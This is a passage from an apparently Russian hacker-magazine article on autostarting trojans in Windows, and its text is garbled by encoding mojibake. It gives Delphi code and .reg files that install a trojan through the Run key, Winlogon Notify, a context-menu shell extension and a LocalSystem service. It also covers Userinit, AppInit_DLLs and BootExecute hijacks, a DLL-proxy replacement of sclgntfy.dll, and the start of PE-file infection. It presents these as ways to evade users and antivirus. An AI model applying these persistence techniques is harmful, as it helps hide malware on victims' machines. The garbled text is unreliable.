ëþ÷èòåëüíî ÷èñòûé API. Çàïèñü ôàéëà â ñïèñîê àâòîçàïóñêà Explorer'à ó íå-
ãî ìîæåò âûãëÿäåòü òàê:

Procedure InstallTrojan;
var

Key: hkey;
TrName: PChar;
St: TStartupInfo;
Pr: TProcessInformation;
SystemPath: array [0..MAX_PATH] of Char;

begin
GetSystemDirectory(SystemPath, MAX_PATH);
if RegOpenKeyEx(HKEY_LOCAL_MACHINE, 

'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, 
KEY_CREATE_SUB_KEY or KEY_SET_VALUE, Key) = ERROR_SUCCESS then

begin
RegSetValueEx(Key, KeyName, 0, REG_SZ, ExeName,

lstrlen(ExeName) + 1);
RegCloseKey(Key);

end;
end;

KeyName â ýòîì êîäå � èìÿ ñîçäàâàåìîãî êëþ÷à, à ExeName � ïóòü ê
çàãðóæàåìîìó ôàéëó. Ïðî ýòîò ìåòîä àâòîçàãðóçêè çíàåò äàæå ñàìûé
òóïîé þçåð, äà è àíòèâèðóñû äàâíî óæå íàó÷èëèñü ìîíèòîðèòü Run â ðå-
åñòðå è ïðåäóïðåæäàòü ïîëüçîâàòåëÿ î íîâûõ çàãðóæàåìûõ ôàéëàõ. Êî-
íå÷íî, ìîæíî íå äîáàâëÿòü ñâîé ïóíêò â ñïèñîê, à èçìåíèòü óæå ñóùåñò-
âóþùèé, âåðîÿòíî, ýòî âûçîâåò ÷óòü ìåíüøå ïîäîçðåíèé ó ïîëüçîâàòå-
ëÿ, íî îò àíòèâèðóñà, ïðåäóïðåæäàþùåãî îáî âñåõ èçìåíåíèÿõ, íå ñïà-
ñåò. Ïîýòîìó, åñëè è èñïîëüçîâàòü ýòîò ìåòîä, òî â ïðèêëàäíûõ ïðîãðàì-
ìàõ � î òðîÿíàõ ñ íèì õàêåðó ëó÷øå çàáûòü. 

[çàïóñê èç-ïîä Winlogon] Åñëè íà÷àòü èñêàòü áîëåå íåçàìåòíûå
ìåòîäû àâòîçàãðóçêè â ðååñòðå, òî âûÿñíÿåòñÿ, ÷òî èõ ïðåâåëèêîå
ìíîæåñòâî. Äëÿ íà÷àëà ðàññìîòðèì ðàçäåë HKEY_LOCAL_MACHINE\

[ñòàðèííûå ìåòîäû] Íà÷íåì ñî ñòàðèííûõ, äàâíî âñåì èçâå-
ñòíûõ è øèðîêî ïðèìåíÿåìûõ ìåòîäîâ. Ýòî, êîíå÷íî, çàïèñü ÿð-
ëûêà â ïàïêó «Àâòîçàãðóçêà» è ñîçäàíèå ïàðàìåòðîâ â ðàçäåëàõ
ðååñòðà HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run è KEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
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Âîò, ê ïðèìåðó, èñõîäíûé êîä DLL, çàïóñêàþùåé notepad.exe îò èìåíè
System ïðè âõîäå ïîëüçîâàòåëÿ â ñèñòåìó:

library Run;

uses
windows;

procedure ExecuteNotepad();
var

St: TStartupinfo;
Pr: TProcessInformation;

begin
ZeroMemory(@St, SizeOf(St));
St.cb := SizeOf(St);
St.lpDesktop := PChar('winsta0\default');

CreateProcess(nil, 'notepad.exe', nil, nil, false, 0, nil, nil, St, Pr);
end;

exports
ExecuteNotepad;

begin
end.

Ýòà DLL ñîäåðæèò òîëüêî îäíó ôóíêöèþ � ExecuteNotepad, êîòîðàÿ âå-
øàåòñÿ íà ñîáûòèå Logon. Äëÿ óñòàíîâêè íàäî ñêîïèðîâàòü ýòó DLL â
ïàïêó \windows\system32 è âûïîëíèòü REG-ôàéë ñëåäóþùåãî ñîäåðæà-
íèÿ (äóìàþ, ñîäåðæèìîå ýòîãî ôàéëà áóäåò òåáå ïîíÿòíî è áåç ìîèõ
êîììåíòàðèåâ): 

Windows Registry Editor Version 5.00
[ H K E Y _ L O C A L _ M A C H I N E \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s
NT\CurrentVersion\Winlogon\Notify\Run]
"Asynchronous"=dword:00000001
"Impersonate"=dword:00000000
"DllName"="run.dll"
"Logon"="ExecuteNotepad"

Íåäîñòàòîê ýòîãî ìåòîäà â òîì, ÷òî ðàçäåë ðååñòðà, êóäà ïðîïèñûâà-
åòñÿ òðîÿí, äîêóìåíòèðîâàí â MSDN, à, ñëåäîâàòåëüíî, íåêîòîðûå
ïîëüçîâàòåëè ìîãóò åãî èíîãäà ïðîâåðÿòü. Îäíàêî íå ñìîòðÿ íè íà
÷òî, ìåòîä ðàáîòàåò â 99% ñëó÷àåâ è ïîêàçàë ñåáÿ äîñòàòî÷íî íàäåæ-
íûì äëÿ èñïîëüçîâàíèÿ â RAT.
Äëÿ òîãî, ÷òîáû ñêðûòü àâòîçàãðóçêó åùå ëó÷øå, õàêåðó ñòîèò îáðàòèòü
âíèìàíèå íà ðàçäåë ðååñòðà HKEY_LOCAL_MACHINE\
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions.
Â íåì õðàíÿòñÿ ñïèñêè DLL, çàãðóæàåìûõ âèíëîãîíîì ïðè îáðàáîòêå
ãðóïïîâîé ïîëèòèêè áåçîïàñíîñòè. Â ýòîò ðàçäåë òàêæå ìîæíî óñòàíî-
âèòü òðîÿíà, íî ïðîáëåìà â òîì, ÷òî íàñòðîéêè ïîëèòèêè áåçîïàñíîñòè
ïîëüçîâàòåëè ìåíÿþò ðåäêî, è, ìàëîâåðîÿòíî, ÷òî ýòîò àâòîçàïóñê âîîá-
ùå êîãäà-íèáóäü ñðàáîòàåò ;). Êàê äîáàâèòü òóäà ñâîþ DLL î÷åíü ïðîñ-
òî ïîíÿòü, ïîñìîòðåâ íà óæå ñóùåñòâóþùèå òàì çàïèñè.
Íî è ýòî, êàê ãîâîðèòüñÿ, åùå íå âñå. Â Winlogon'å îãðîìíàÿ êó÷à ìåñò, îò-
êóäà ðåàëüíî ñòàðòàíóòü òðîÿíà. Ñìîòðè, ðàçäåëîì âûøå, â
H K E Y _ L O C A L _ M A C H I N E \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s
NT\CurrentVersion\Winlogon åñòü äâà çàìå÷àòåëüíûõ ïàðàìåòðà: Shell è
Userinit. Ïåðâûé îáû÷íî ñîäåðæèò èìÿ ôàéëà îáîëî÷êè, çàïóñêàåìîé ïîñ-
ëå âõîäà â ñèñòåìó (îáû÷íî explorer.exe), âòîðîé � ïóòü ê ïðèëîæåíèþ, êî-
òîðîå èíèöèàëèçèðóþò ïðîôèëü ïîëüçîâàòåëÿ ïðè âõîäå â ñèñòåìó (îáû÷-
íî Userinit.exe). Äëÿ àâòîçàãðóçêè ìîæíî ïîäñòàâèòü â ïàðàìåòð Shell ïóòü
ê ñâîåìó òðîÿíó, êîòîðûé óæå áóäåò ñàì çàïóñêàòü îáîëî÷êó. Íî ýòî íå ëó÷-
øèé ñïîñîá. Ãîðàçäî áîëüøå âîçìîæíîñòåé ïðåäîñòàâëÿåò ïàðàìåòð
Userinit. Îñíîâíàÿ åãî ôè÷à â òîì, ÷òî ñ åãî ïîìîùüþ ìîæíî çàïóñòèòü íå
îäíî, à ñðàçó íåñêîëüêî ïðèëîæåíèé � äîñòàòî÷íî ïðîñòî ðàçäåëèòü èõ
çàïÿòûìè. Íà ïðàêòèêå ýòî ìîæåò âûãëÿäåòü òàê: Userinit = Userinit.exe, tro-
jan.exe. Òàêàÿ øòóêà áóäåò çàìå÷àòåëüíî ðàáîòàòü! 
Òàêæå õàêåðó ìîãóò ïðèãîäèòüñÿ ïàðàìåòðû UIHost è VmApplet. Ïåðâûé
õðàíèò èìÿ ïðèëîæåíèÿ, îòîáðàæàþùåãî çàñòàâêó âõîäà â Windows
(òîëüêî â XP), âòîðîé � èìÿ áèáëèîòåêè ActiveX Control, çàïóñêàåìîé
ïðè îòêðûòèè ïàíåëè óïðàâëåíèÿ. Ëîãè÷íî, ÷òî è ýòè ïàðàìåòðû ìîæíî
âïîëíå áåçáîëåçíåííî ïîäìåíèòü.

[Explorer Shell Extentions] Êàê òåáå èçâåñòíî, íåêîòîðûå ïðîãðàì-
ìû äîáàâëÿþò ñâîé ïóíêò â êîíòåêñòíîå ìåíþ îáîëî÷êè. Òû íèêîãäà íå
çàäóìûâàëñÿ, êàê îíè ýòî äåëàþò? Íà ñàìîì äåëå âñå äîâîëüíî ïðîñ-
òî, â Windows åñòü ìåõàíèçì Explorer Shell Extentions, êîòîðûé ïîçâî-
ëÿåò ðàñøèðÿòü ïðàêòè÷åñêè ëþáîå ìåíþ îáîëî÷êè. Äëÿ ýòîãî íóæíî

SOFTWARE\Microsof t \Windows
NT\CurrentVersion\Winlogon\Notify, â
êîòîðîì õðàíÿòñÿ ñïèñêè DLL, ïîäã-
ðóæàåìûõ ïðîöåññîì winlogon.exe
ïðè íàñòóïëåíèè îïðåäåëåííûõ ñî-
áûòèé â ñèñòåìå. Íåïëîõèì ìåòîäîì
àâòîçàïóñêà ÿâëÿåòñÿ çàïèñü â ýòîò
ðàçäåë ðååñòðà ñîáñòâåííîé DLL.

Îäèí èç åãî ïëþñîâ òî, ÷òî íàøà DLL ìîæåò áûòü çàïóùåíà îò ïðîöåññà
System ïðè ñòàðòå ñèñòåìû. Ïðè ýòîì õàêåð ïîëó÷àåò ïîëíûé äîñòóï ê
ñèñòåìå, íî, ïðàâäà, ëèøàåòñÿ äîñòóïà ê øèôðîâàííûì ôàéëàì ïîëüçî-
âàòåëÿ (íà NTFS). Îáîéòè ýòî îãðàíè÷åíèå îí ìîæåò ñ ïîìîùüþ çàïóñêà
DLL ïðè âõîäå ïîëüçîâàòåëÿ â ñèñòåìó (ñ âêëþ÷åííîé èìïåðñîíàöèåé),
ëèáî ñäåëàâ èíæåêò â ïîëüçîâàòåëüñêèé ïðîöåññ. Òàêæå õàêåðó, âåðîÿò-
íî, áóäåò ïîëåçíî òî, ÷òî åñòü âîçìîæíîñòü îïðåäåëèòü íåñêîëüêî ôóíê-
öèé â îäíîé DLL, êîòîðûå áóäóò âûçûâàòüñÿ ïðè ðàçíûõ ñèñòåìíûõ ñîáû-
òèÿõ, ê ïðèìåðó, ïðè ñòàðòå ñèñòåìû è ïðè âõîäå ïîëüçîâàòåëÿ â ñèñòåìó.
Èòàê, äëÿ çàïóñêà ñâîåé DLL íàì íåîáõîäèìî ñîçäàòü â Winlogon\Notify
ðàçäåë ñ ïðîèçâîëüíûì èìåíåì. Îáÿçàòåëüíûìè ïàðàìåòðàìè ýòîãî ðàç-
äåëà áóäóò ÿâëÿòüñÿ Asynchronous, DllName, Impersonate è îäèí èëè íåñ-
êîëüêî ïàðàìåòðîâ, îòâå÷àþùèõ çà ñîáûòèå , ïðè êîòîðîì DLL áóäåò çàã-
ðóæåíà. Ïàðàìåòð Asynchronous (REG_DWORD) îïðåäåëÿåò òèï âûçîâà
ôóíêöèé èç DLL. Ïðè çíà÷åíèè 0 ôóíêöèè áóäóò âûçûâàòüñÿ èç îñíîâíîãî
ïîòîêà ïðîöåññà winlogon.exe, è çàãðóçêà ñèñòåìû íå ñìîæåò áûòü ïðîäîë-
æåíà äî òåõ ïîð, ïîêà ôóíêöèÿ íå âåðíåò óïðàâëåíèå. Ïðè çíà÷åíèè 1
ôóíêöèÿ áóäåò âûçâàíà àñèíõðîííî, â îòäåëüíîì ïîòîêå, à, ñëåäîâàòåëü-
íî, îíà ñìîæåò íèêîãäà íå âîçâðàùàòü óïðàâëåíèå ñèñòåìå. Ïàðàìåòð
DllName îïðåäåëÿåò ïóòü ê çàãðóæàåìîé DLL. Åñëè DLL íàõîäèòñÿ â ñèñ-
òåìíîé ïàïêå, òî ìîæíî ïðîïèñàòü òîëüêî åå èìÿ. Ïàðàìåòð Impersonate
îïðåäåëÿåò ïðàâà äîñòóïà ïîòîêà, â êîòîðîì áóäåò âûçâàíà íàøà ôóíê-
öèÿ. Ïðè çíà÷åíèè 0 ïîòîê ïîëó÷èò ïðàâà ñèñòåìû, à ïðè çíà÷åíèè 1 �
ïðàâà ïîëüçîâàòåëÿ, ñ êîòîðûì ñâÿçàíî ïðîèçîøåäøåå ñîáûòèå. Ðàññìîò-
ðèì òåïåðü òèïû ñîáûòèé è èìåíà ñîîòâåòñòâóþùèõ èì êëþ÷åé â ðååñòðå. 

LLooggoonn � ñîáûòèå âõîäà ïîëüçîâàòåëÿ â ñèñòåìó, åãî ïðèìåíåíèå öåëåñîîá-
ðàçíî òîãäà, êîãäà òðåáóåòñÿ âûïîëíÿòü äåéñòâèÿ îò èìåíè ïîëüçîâàòåëÿ.
LLooggooffff � âûõîä ïîëüçîâàòåëÿ èç ñèñòåìû. 
SSccrreeeennSSaavveerr �� çàïóñê ñêðèíñåéâåðà, ñëåäóåò ïðèìåíÿòü òîãäà, êîãäà
íóæíî âûïîëíÿòü äåéñòâèÿ, ïðèâîäÿùèå ê áîëüøîé çàãðóçêå ñèñòåìû (à,
ñëåäîâàòåëüíî, çàìåòíûå ïîëüçîâàòåëþ). 
SSttooppSSccrreeeennSSaavveerr � çàâåðøåíèå ðàáîòû ñêðèíñåéâåðà. 
SShhuuttddoowwnn � çàâåðøåíèå ðàáîòû ñèñòåìû, íà ýòî ñîáûòèå ìîæíî ïîâå-
ñèòü ñîõðàíåíèå êàêèõ-ëèáî äàííûõ. 
SSttaarrttSShheellll � çàïóñê îáîëî÷êè, ïðîèñõîäèò ïðè ñòàðòå explorer.exe. Îáðàòè
âíèìàíèå, ýòî ñîáûòèå íå ýêâèâàëåíòíî Logon, òàê êàê ìîæåò áûòü âûç-
âàíî íåñêîëüêî ðàç èç-çà ðåñòàðòà îáîëî÷êè ïðè âîçíèêàþùèõ ñáîÿõ. 
PPoossttSShheellll � ñîáûòèå, âîçíèêàþùåå ïîñëå çàïóñêà îáîëî÷êè. 
SSttaarrttuupp � ñòàðò ñèñòåìû, íàâåðíÿêà õàêåð áóäåò èñïîëüçîâàòü èìåííî
ýòî ñîáûòèå äëÿ çàãðóçêè òðîÿíà. Ñëåäóåò çàìåòèòü, ôóíêöèÿ ïîâåøåí-
íàÿ íà ýòî ñîáûòèå, áóäåò âñåãäà âûçûâàòüñÿ îò èìåíè ñèñòåìû, íåçà-
âèñèìî îò çíà÷åíèÿ ïàðàìåòðà Impersonate. 
LLoocckk � ñîáûòèå áëîêèðîâêè ðàáî÷åé ñòàíöèè, îíî âîçíèêàåò ïðè ñìåíå
ïîëüçîâàòåëÿ áåç âûõîäà èç ñèñòåìû, ëèáî ïðè áëîêèðîâêå ñ ïîìîùüþ
êëàâèø Win+L (Windows XP). 
UUnnlloocckk � ðàçáëîêèðîâêà ðàáî÷åé ñòàíöèè, ëèáî ïåðåêëþ÷åíèå íà äðó-
ãîãî çàëîãèíåííîãî â ñèñòåìå ïîëüçîâàòåëÿ. 
DDiissccoonnnneecctt � îòêëþ÷åíèå ðàáî÷åé ñòàíöèè îò äîìåíà. 
RReeccoonnnneecctt � ïîäêëþ÷åíèå ðàáî÷åé ñòàíöèè ê äîìåíó.

Êàê âèäèøü, íàáîð ñîáûòèé âåñüìà âåëèê, è íà êàæäîå ìîæíî ïîâåñèòü ñâîé
îáðàáîò÷èê. Ýòî ïîçâîëèò îòñëåæèâàòü äåéñòâèÿ ïîëüçîâàòåëÿ è âûáèðàòü
íàèáîëåå óäà÷íûé ìîìåíò äëÿ çàïóñêà òîé èëè èíîé ôóíêöèè òðîÿíà. 

ÊÊÒÒÎÎ ÒÒÀÀÊÊÎÎÉÉ CCLLSSIIDD??

CLSID � óíèêàëüíûé 128 áèòíûé èäåíòèôèêàòîð, îäíîç-

íà÷íî îïðåäåëÿþùèé èíòåðôåéñ COM-îáüåêòà. COM-îáü-

åêò ïðåäñòàâëÿåò èç ñåáÿ DLL, ýêñïîðòèðóþùóþ íå îáû÷-

íûå ôóíêöèè, à ÎÎÏ êëàññû. Ïîäðîáíåå îá ýòîì òû ìî-

æåøü ïî÷èòàòü â MSDN, à ñåé÷àñ äëÿ íàñ âàæíî ëèøü òî,

÷òî CLSID õðàíèòñÿ â ðååñòðå â âèäå ñòðîêè, òèïà

{00000000-0000-0000-0000-000000000000}. ×èñëî â ôèãóð-

íûõ ñêîáêàõ äîëæíî áûòü óíèêàëüíûì. 

Åãî ìîæíî ñãåíåðèðîâàòü ïðîãðàììîé GUIDGEN âõîäÿùåé 

â ñîñòàâ MS Visual Studio, èëè ïðîñòî ïðèäóìàòü îò áàëäû.

Íà äèñêå êàê îáû÷íî òû

ñìîæåøü îòêîïàòü âñå

ñîðöû ê ñòàòüå. Íà äèñêå 

ê æóðíàëó, êîíå÷íî. Íà êà-

êîì-íèáóäü ëåâîì, êóïëåí-

íîì íà ðàäèîðûíêå, òû

âñåãî ýòîãî íå îáíàðóæèøü.



ñîçäàòü ñâîþ DLL è ïðîïèñàòü åå â ñïåöèàëüíîì ìåñòå ðååñòðà. Ïðè
âûçîâå ñîîòâåòñòâóþùåãî êîíòåêñòíîãî ìåíþ ýòà DLL áóäåò çàãðóæå-
íà è åé áóäåò ïåðåäàíî óïðàâëåíèå. Íè÷òî íå ïîìåøàåò õàêåðó ïðîïè-
ñàòü òóäà òðîÿíñêóþ DLL, ïðè÷åì, äàæå íå ñîçäàâàÿ íîâûå ïóíêòû â
ìåíþ � ýòî, îêàçûâàåòñÿ, íå îáÿçàòåëüíî. Ñïèñîê òàêèõ DLL õðàíèòü-
ñÿ â ðàçäåëå ðååñòðà HKEY_CLASSES_ROOT\Directory\shel-
lex\ContextMenuHandlers. Äëÿ êàæäîé DLL òàì ñîçäàåòñÿ ñâîé ïîäðàç-
äåë, â êîòîðîì ïàðàìåòðîì ïî óìîë÷àíèþ ÿâëÿåòñÿ íåêîòîðûé óíè-
êàëüíûé CLSID. Ñàìà DLL ïðèïèñûâàåòñÿ â ðàçäåëå ðååñòðà
HKEY_CLASSES_ROOT\CLSID. Äîïóñòèì, CLSID õàêåðñêîé DLL áóäåò
EBDF1F20-C829-9999-8233-0020AF3E97A9, òîãäà äëÿ åå àâòîçàïóñêà
íàäî ñîçäàòü ðàçäåë HKEY_CLAS-SES_ROOT\CLSID\{EBDF1F20-C829-
9999-8233-0020AF3E97A9}\-InprocServer32. Ïàðàìåòðîì ïî óìîë÷àíèþ
äîëæåí ÿâëÿòüñÿ ïóòü ê DLL. Òàêæå ïîòðåáóåòñÿ ñîçäàòü ïàðàìåòð
ThreadingModel è óñòàíîâèòü åãî â çíà÷åíèå Apartment. Ñëåäóþùèé
ðàçäåë, ãäå õàêåðó íåîáõîäèìî áóäåò ïðîïèñàòü ñâîþ DLL, �
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers. Îí îïðåäå-
ëÿåò Shell Extention, âûïîëíÿåìûé ïðè âûïàäåíèè êîíòåêñòíîãî
ìåíþ íà ëþáîì ôàéëå. 
Â èòîãå, äëÿ óñòàíîâêè ñâîåãî ðàñøèðåíèÿ êîíòåêñòíîãî ìåíþ, âåðíåå,
àâòîçàãðóçêè òðîÿíà ñ åãî ïîìîùüþ õàêåðó íóæíî âûïîëíèòü REG-ôàéë
ñëåäóþùåãî ñîäåðæàíèÿ:

Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\CLSID\{EBDF1F20-C829-9999-8233-
0020AF3E97A9}\InprocServer32]
@="trojan.dll"
"ThreadingModel"="Apartment"

[HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\CoolTrojan]
@="{EBDF1F20-C829-9999-8233-0020AF3E97A9}"

[HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers\CoolTrojan]
@="{EBDF1F20-C829-9999-8233-0020AF3E97A9}"

Ýòîò ìåòîä àâòîçàãðóçêè ÿ ñ÷èòàþ íàèáîëåå ïåðñïåêòèâíûì ñðåäè âûøåî-
ïèñàííûõ. Áîëüøèíñòâî þçåðîâ äàæå íå ïîäîçðåâàþò î íàëè÷èè êàêèõ-òî
òàì Shell Extention, à òå, êòî î íèõ çíàåò, âðÿä ëè ñìîãóò íàéòè òðîÿíà ñðåäè
áîëüøîãî êîëè÷åñòâà çàïèñåé, ñäåëàííûõ äðóãèìè ïðîãðàììàìè. Áîëüøèì
ïëþñîì òàêæå ÿâëÿåòñÿ òî, ÷òî îá ýòîì ìåòîäå àíòèâèðóñû íå çíàþò íè÷å-
ãî, è ïðè äîáàâëåíèè Extention íå âûäàþò ïðåäóïðåæäåíèé ïîëüçîâàòåëþ.

[ñècòåìíûå ñëóæáû] Â Windows NT ïîìèìî ïîëüçîâàòåëüñêèõ ïðèëî-
æåíèé ñóùåñòâóþò åùå è ñèñòåìíûå ñëóæáû. Ýòî ïðîãðàììû, êîòîðûå çà-
ïóñêàþòñÿ äî âõîäà ïîëüçîâàòåëÿ â ñèñòåìó è ðàáîòàþò íåçàâèñèìî îò
åãî äåéñòâèé. Åñòåñòâåííî, è çäåñü íàéäåòñÿ ìåñòå÷êî äëÿ çàãðóçêè òðîÿ-
íà. Ñïèñîê óñòàíîâëåííûõ ñëóæá õðàíèòñÿ â ðàçäåëå ðååñòðà
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services. Äëÿ êàæäîé
ñëóæáû ñîçäàåòñÿ ñâîé ïîäðàçäåë â ðååñòðå, à â íåì ñëåäóþùèå êëþ÷è: 
DDiissppllaayyNNaammee � èìÿ ñëóæáû, îòîáðàæàåìîå â MMC, êîíñîëè àäìèíèñò-
ðèðîâàíèÿ ñëóæá. ×òîáû íå ïàëèòü òðîÿí, õàêåðû ïèøóò çäåñü ÷òî-íè-
áóäü ìàêñèìàëüíî ïðàâäîïîäîáíîå.
EErrrroorrCCoonnttrrooll � êðèòè÷íîñòü îøèáîê ñëóæáû äëÿ ðàáîòû ñèñòåìû. Ýòîò
ïàðàìåòð îáû÷íî óñòàíàâëèâàåòñÿ â íîëü. 
IImmaaggeePPaatthh � ïóòü ê èñïîëíèìîìó ôàéëó ñëóæáû. 
OObbjjeeccttNNaammee � èìÿ ïîëüçîâàòåëÿ, îò êîòîðîãî áóäåò çàïóùåíà ñëóæáà.
Èíòåðåñíåå âñåãî ïîñòàâèòü LocalSystem. 
SSttaarrtt � òèï çàïóñêà. Äëÿ àâòîçàïóñêà ñëóæáû ïðè ñòàðòå ñèñòåìû íàäî óñòàíîâèòü 2. 
TTyyppee � òèï ñëóæáû. Ýòîò ïàðàìåòð îòëè÷àåò ñëóæáû îò äðàéâåðîâ. Äëÿ
îðãàíèçàöèè àâòîçàïóñêà íåêîòîðîãî ïðèëîæåíèÿ, çäåñü ñëåäóåò óêà-
çàòü çíà÷åíèå 16, ÷òî áóäåò îçíà÷àòü, ÷òî ýòî Win32-ñëóæáà. 
Îáîáùàÿ âûøåñêàçàííîå ìîæíî íàïèñàòü REG-ôàéë, óñòàíàâëèâàþùèé ñëóæáó. 

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CoolTrojan]
"Type"=dword:00000010
"Start"=dword:00000002
"ErrorControl"=dword:00000000
"ImagePath"="C:\WINDOWS\system32\trojan.exe"
"DisplayName"="CoolTrojan"
"ObjectName"="LocalSystem"

Ïîñëå êîïèðîâàíèÿ ôàéëà trojan.exe â ïàïêó WINDOWS\system32 è âû-
ïîëíåíèÿ ýòîãî REG-ôàéëà òðîÿí áóäåò óñòàíîâëåí â ñèñòåìó. Çàïóùåí
îí áóäåò ïîñëå ñëåäóþùåé åå ïåðåçàãðóçêè.
Ýòîò ìåòîä ïðîñò â ïðèìåíåíèè è ìîæåò ïîêàçàòü âåñüìà íåïëîõèå ðå-
çóëüòàòû. Íî ãðàìîòíûé àäìèíèñòðàòîð âñåãäà ïðîâåðÿåò ñïèñêè óñòà-
íîâëåííûõ ñëóæá, è â ýòîì ñëó÷àå, õàêåðà ìîãóò îáëîìàòü.

[ïîäìåíà è çàðàæåíèå ôàéëîâ] Îäíèì èç íàèáîëåå íåçàìåòíûõ äëÿ
ïîëüçîâàòåëÿ è àäìèíèñòðàòîðà ìåòîäîâ àâòîçàãðóçêè ÿâëÿåòñÿ çàìåíà îä-
íîãî èç çàãðóæàåìûõ ôàéëîâ ñâîèì, ñ ïîñëåäóþùèì çàïóñêîì îðèãèíàëü-
íîãî ôàéëà. Äëÿ ýòîãî õàêåðó íóæíî ñíà÷àëà ïåðåèìåíîâàòü ïîäìåíÿåìûé
ôàéë, à çàòåì çàïèñàòü âìåñòî íåãî ñâîé. Ïðîùå âñåãî ýòî ñäåëàòü â ñëó-
÷àå ñ EXE-ôàéëàìè, íî, ïî-ìîåìó, èíòåðåñíåå ïîäìåíÿòü DLL. Ýòî íåìíî-
ãî ñëîæíåå, çàòî òàêóþ ïîäìåíó îáíàðóæèòü áóäåò êóäà òÿæåëåå. Çàìåíÿþ-
ùàÿ DLL äîëæíà ýêñïîðòèðîâàòü ôóíêöèè ñ òàêèìè æå èìåíàìè, êàê è îðè-
ãèíàëüíàÿ. Ïðîùå âñåãî ðåàëèçîâàòü ïîäîáíûé ýêñïîðò, îïèñàâ âñå ôóíê-
öèè çàìåíÿåìîé DLL êàê external. ×òîáû òû ìîã ëó÷øå ïîíÿòü ìåõàíèçì çà-
ìåíû, íèæå ÿ ïðèâåäó ïðèìåð DLL, êîòîðîé ìîæíî ïîäìåíèòü sclgntfy.dll
ïðîïèñàííóþ â HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Notify\sclgntfy, ïðåäâàðèòåëüíî ïåðåèìåíîâàâ
åå â sclgntfi.dll.
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ñîçäàåì ìåñòî â ôàéëå

ÏÀÐÀ ÌÌÅÑÒ ÂÂ ÐÐÅÅÑÒÐÅ?
Äîâîëüíî èíòåðåñíûì ïàðàìåòðîì ðååñòðà â ïëàíå àâòî-
çàïóñêà ÿâëÿåòñÿ AppInit_DLLs â
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Windows. Ýòîò ïàðàìåòð õðàíèò ñïèñîê
DLL, ïîäãðóæàåìûõ ê ëþáîìó ïðîöåññó, èñïîëüçóþùåìó
user32.dll (à òàêèõ áîëüøèíñòâî). Õàêåðó áóäåò î÷åíü
êñòàòè ïðîïèñàòü â ýòîò ðàçäåë òðîÿíñêóþ DLL, åñëè åìó
òðåáóåòñÿ, ÷òîáû îíà ðàáîòàëà îäíîâðåìåííî âî âñåõ
ïîëüçîâàòåëüñêèõ ïðîöåññàõ â ñèñòåìå. Ïðàâäà, ê ïðîã-
ðàììèðîâàíèþ òàêîé DLL ñëåäóåò ïîäõîäèòü ñî âñåé
âîçìîæíîé îñòîðîæíîñòüþ, ìàëåéøàÿ îøèáêà â íåé ìî-
æåò ïðèâåñòè ê ïàäåíèþ âñåé ñèñòåìû. Åùå îäíî çàìå-
÷àòåëüíîå ìåñòî äëÿ àâòîçàãðóçêè � ýòî ðàçäåë ðååñòðà 

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet\Control\Sessi
on Manager, ïàðàìåòð BootExecute. Â íåì õðàíèòñÿ ñïè-
ñîê ïðèëîæåíèé âûïîëíÿåìûõ ïðè ñòàðòå ñèñòåìû, äî
çàïóñêà ñåðâåðà ïîäñèñòåìû (csrss.exe). Çíà÷åíèåì ïî
óìîë÷àíèþ ÿâëÿåòñÿ autocheck autochk *. Èñïîëüçîâàíèå
ýòîãî ðàçäåëà ðååñòðà äëÿ ñâîèõ íóæä îñëîæíåíî òåì,
÷òî íà ýòîé ñòàäèè çàãðóçêè ñèñòåìû íåäîñòóïíû ôóíêöè
Win32 API, è ïðîãðàììà äîëæíà èñïîëüçîâàòü ÒÎËÜÊÎ
Native API è íå ñîäåðæàòü â èìïîðòàõ íè÷åãî, êðîìå
ntdll.dll. Ñòàíäàðòíûìè ñïîñîáàìè íåïîäãîòîâëåííîìó ÷å-
ëîâåêó íàïèñàòü òàêóþ ïðîãðàììó íà Delphi íå âûéäåò,
íî åñëè ïðî÷åñòü ìîþ ñòàòüþ «Delphi âñåìîãóùèé», òî è
ñ ýòèì ïðîáëåì íå âîçíèêíåò.
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library sclgntfy;
procedure WLEventLogoff; external 'sclgntfi.dll';
exports

WLEventLogoff;
begin
end.

Ýòà DLL ïðè âûçîâå ôóíêöèè WLEventLogoff ïðîñòî ïåðåäàåò óïðàâëå-
íèå îðèãèíàëüíîé DLL. Íî, êàê òû ïîíèìàåøü, ìåæäó begin è end õàêåð
ìîæåò ïîñòàâèòü ñâîé êîä, êîòîðûé áóäåò âûïîëíåí ïðè åå çàãðóçêå. 
Ìîæíî íå ïîäìåíÿòü îðèãèíàëüíûé ôàéë ñâîèì, à ïðîñòî âîñïîëüçî-
âàòüñÿ âèðóñíîé ìåòîäèêîé � ðàñøèðèòü ïîñëåäíþþ ñåêöèþ â PE-ôàé-
ëå, çàïèñàòü òóäà ñâîé êîä, êîòîðûé áóäåò çàïóñêàòü òðîÿíà è ïåðåäà-
âàòü óïðàâëåíèå íà îðèãèíàëüíóþ òî÷êó âõîäà (î âíåäðåíèè êîäà â ÷ó-
æîå ïðèëîæåíèå òû òàêæå ìîæåøü ïî÷èòàòü â ñòàòüå Êðèñ Êàñïåðñêè â
ïðîøëîì íîìåðå � ïðèì. Ãîðëóìà). Äàâàé ïîïðîáóåì ñäåëàòü ýòî âðó÷-
íóþ, ÷òîáû ïîëó÷øå ðàçîáðàòüñÿ â äåéñòâèÿõ õàêåðà. Äëÿ ýòîãî âîçü-
ìåì îáû÷íûé áëîêíîò (notepad.exe) èç Windows XP è ïîïðîáóåì äîïè-
ñàòü â íåãî êîä, êîòîðûé áóäåò çàïóñêàòü êàëüêóëÿòîð.
Äëÿ íà÷àëà îòêðîåì ôàéë â Hex Workshop (èëè ëþáîì äðóãîì HEX-ðå-
